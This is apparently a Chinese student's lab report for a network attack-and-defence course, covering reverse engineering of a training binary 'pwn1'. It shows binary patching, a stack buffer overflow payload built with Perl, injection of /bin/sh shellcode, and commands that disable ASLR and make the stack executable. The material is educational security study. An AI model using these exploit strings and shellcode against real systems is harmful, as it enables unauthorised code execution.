20175314 2020-3 《网络对抗技术》Exp1 PC平台逆向破解 Week2
一、实践目标
1、实践对象:Linux可执行文件pwn1
- pwn1正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串
- 该程序同时包含另一个代码片段:getShell,会返回一个可用Shell,运行这个正常情况下不会被运行的代码片段
- 学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode
2、实践内容
- 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数
- 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数
- 注入一个自己制作的shellcode并运行这段shellcode
- 这几种思路基本代表现实情况中的攻击目标:
- 运行原本不可访问的代码片段
- 强行修改程序执行流
- 以及注入运行任意代码
二、基础知识
1、实践要求
- 熟悉Linux基本操作
能看懂常用指令:如管道(|)、输入、输出重定向(>)等
- 理解Bof的原理
能看得懂汇编、机器指令、EIP、指令地址
- 会使用
gdb
和vi/vim
2、指令/参数
- 复制文件
cp <原文件名> <新文件名>
- 对文件进行反汇编
objdump -d xxx
- 将文件内容以16进制形式呈现
xxd 文件名
,vi/vim
进入文件将内容转化为16进制表示%!xxd
,转化为原来的表示方式%!xxd -r
- GDB调试:进入调试界面
gdb
,运行r
,查看输入的参数info r
,设置断点break *<地址段>
- 将
<可执行文件1>
中的字符串通过管道传递给<可执行文件2>
,作为可执行文件<可执行文件2>
的输入(cat <可执行文件1>;cat) | <可执行文件2>
- 设置堆栈可执行
execstack -s <可执行文件>
,查询文件的堆栈是否可执行execstack -q <可执行文件>
,查看地址随机化的状态more /proc/sys/kernel/randomize_va_space
,关闭地址随机化echo "0" > /proc/sys/kernel/randomize_va_space
3、实践原理
- pwn1函数地址
- 系统执行函数getShell的步骤
4、预备知识
安装必要软件包
- root用户权限下
apt-get update
apt-get install gdb //安装GDB
apt-get install execstack //安装execstack
apt-get install net-tools //安装net-tools
NOP, JNE, JE, JMP, CMP汇编指令对应的机器码
- NOP:"no operation"空操作,机器码0x90
- JNE:"not equal"不等则跳转,机器码0x75
- JE:相等则跳转,机器码0x74
- JMP:无条件跳转
- 段内直接短转Jmp short,机器码0xEB;
- 段内直接近转移Jmp near,机器码0xE9;
- 段内间接转移Jmp word,机器码0xFF;
- 段间直接(远)转移Jmp far,机器码0xEA
- CMP:比较指令,CMP的功能相当于减法指令。它不保存结果,只是影响相应的标志位,机器码0x39
- 更多详情请参见汇编指令机器码对应列表
perl指令
我们无法通过键盘输入x7dx84x04x08
这样的16进制值,
所以要使用perl
指令输出重定向>
将perl
生成的字符串存储到文件中
例如perl -e 'print "11111111222222223333333344444444x7dx84x04x08x0a"' > input
将字符串11111111222222223333333344444444x7dx84x04x08x0a
重定向到文件input
中
Linux两种基本构造攻击buf的方法(一般选择第一种)
-
retaddr+nop+shellcode
-
nop+shellcode+retaddr
Windows系统自带的计算器可以计算16进制
三、实践步骤
- 先对可执行文件
pwn1
进行复制并以学号命名20175314pwn1/2/3
1、手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数
- 对文件
20175314pwn1
进行反汇编
- 得到文件的汇编语言表示,找到关于我们所要的函数跳转的部分:
-
可以从上图看到,原函数是在执行主函数时调用
foo
,即跳转到foo
函数的首地址处。所以我们要做的就是修改主函数中的跳转地址,使得程序跳转到getShell
函数的首地址 -
主函数中有一条是
call 8048491<foo>
,这里8048491
就是foo
函数的首地址。这条指令的机器码部分是e8 d7 ff ff ff
,其中e8
是call
指令的机器码,后面的d7 ff ff ff
是目的地址减去eip
寄存器中地址的值,如果是负数要换算成补码。这里的e8 d7 ff ff ff
是8048491-80484ba
的结果换算成补码(因为eip
寄存器中存放的是下一条指令所在的地址所以减去80484ba
而不是80484b5
) -
函数
getShell
的首地址是804847d
,也就是说我们需要把804847d-80484ba
的结果换算成补码,替换原来的e8 d7 ff ff ff
,计算结果是ff ff ff c3
-
地址替换
- 使用
vim
进入20175314pwn1
,发现是乱码
- 使用
esc+:
键入%!xxd
,按回车,将文件内容转化为16进制表示
-
esc+:
键入/d7ff
搜索e8 d7
(e8与d7间有空格,老师的实验指导书中写的是e8d7,那一段地址是搜不到的,根据以上分析也可以直接搜索d7ff或者d7)出现的地方,观察d7
前后,确定是要修改的地方,确认后进入编辑模式把d7
改为c3
-
esc+:
键入%!xxd -r
将文件内容转化为原来的表示方式 -
esc+:
键入wq
保存并退出文件 -
检验:
./20175314pwn1
执行修改后的可执行文件,键入ls
,结果是显示该目录下的文件名,说明修改成功(此处Bash Shell
提示符在普通用户默认模式下是$,在root
用户默认模式下是#)
2、利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数
-
在
20175314pwn2
中的main
函数调用的是foo
函数,foo
函数在执行完后会返回,也就是指向main
函数中调用foo
函数这条指令的下一条指令,我们要做的是利用foo
中的buf
漏洞,覆盖返回地址,使得在输入参数后直接执行shellcode
,而非foo
函数,详见实践原理系统执行函数getShell的步骤
-
汇编语言表示中我们需要关注的部分
-
对上图进行分析,发现
buf
的长度是1c(十六进制)
字节,再加上%ebp
占用的4字节,结果转换成十进制是32字节 -
使用GDB调试
gdb 20175314pwn2
,验证是否32字节以外的内容会被写进%eip
-
在命令行输入
20175314pwn2
进入调试页面 -
输入
r
开始运行,输入参数,然后输如info r
进行查看
-
%eip
的值为0x34333231
,0x34是4的ASCII码。这就说明了16字节以外的内容会被写进%eip
寄存器 -
我们接下来要做的是在输入时,在16字节的内容后面加上
getshell
函数的首地址的ASCII码信息。从之前的截图可以知道其首地址为804847d
,由于是小端序列,所以我们要输入的是<16字节的内容>+x7dx84x04x08
(x
表示的是转换为ASCII码)
使用perl
指令(详见预备知识)perl -e 'print "11111111222222223333333344444444x7dx84x04x08x0a" ' > input
生成包括这个字符串的一个文件(x0a
表示回车) -
查看
input
文件的内容是否如预期,通过管道符|
,将input
文件作为20175314pwn2
的输入,使用ls
命令和pwd
命令进行调试,可以看到结果
3、注入一个自己制作的shellcode并运行这段shellcode
- 安装
execstack
,修改堆栈的设置(详见预备知识)
-
构造一个
shellcode
语句,并使用perl
指令把这个语句写入到文件input_3
中(参考实验指导书推荐的shellcode):
perl -e 'print "A" x 32;printf "x4x3x2x1x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00" '>input_3
-
以上
x4x3x2x1
用来暂时表示shellcode
代码的首地址,接下来我们要做的是寻找其真正的首地址-
①在目前终端的命令行输入
(cat input_3;cat) | ./20175314pwn3
-
②输入
ps -ef | grep part3
来获得进程号:1725(构造shellcode时找进程不要使用回车键否则会找不到) -
③使用gbd进行调试,输入
attach 1725
,再输入disassemble foo
来查看注入内容的地址
-
④在
ret
这一句设置断点break *0x080484ae
,然后切换至另一终端,按下回车 -
⑤使用
info r esp
来查看栈顶指针,为0xffffd69c
,再输入x/16x 0xffffd69c
查看指针指向的内容
-
-
⑥可以从上图看到,只要把
0xffffd69c
加上4就能得到shellcode的首地址为0xffffd6a0
-
找到首地址后,切换终端。先终止当前进程,然后打开
input_3
将其修改为16进制表示后进行修改,把x04x03x02x01
修改为xa0xd6xffxff
- 输入
(cat input_3;cat) | ./20175314pwn3
,再键入ls
进行验证
4、结合nc模拟远程攻击
- 使用两台虚拟机进行试验,靶机:Kali),攻击机:Ubuntu
- 实现任意TCP/UDP端口的侦听,nc可作为server以TCP或UDP方式侦听指定端口
- 扫描端口,nc可作为client发起TCP或UDP连接
- 以实现机器之间传输文件,并在Ubuntu上检查传输的文件input是否可以使用ls/pwd
四、实践报告
1、什么是漏洞?漏洞有什么危害?
漏洞是在硬件、软件、协议的具体实现或系统安全策略上存在的缺陷,是受限制的计算机、组件、应用程序或其他联机资源的无意中留下的不受保护的入口点。
利用这些缺点,攻击者可以对计算机系统进行攻击,从而达到一定的目的。漏洞威胁了计算机的系统安全,给攻击者有可乘之机,可能引起经济损失、机密泄露、隐私暴露、数据篡改等问题。
从外部写入到缓冲区可以使攻击者覆盖邻近内存块的内容,使攻击者能够在未授权的情况下访问或破坏系统,从而导致数据遭到破坏,程序崩溃,甚至可以执行任何恶意代码。
2、实验收获与感想
本次实验与以往其他学科不同,因为过去大多实验都只有固定的参数代码或步骤,只需要按部就班地完成即可,少有接触修改地址等较为底层的操作,而内存地址根据每个人电脑的情况又是不同的。但是真正搞懂了原理后一步步完成也没有遇到过太大的问题,几乎比当时安装Kali系统时还要少,完成大约需要五小时,是全新的体验,感觉到很有收获。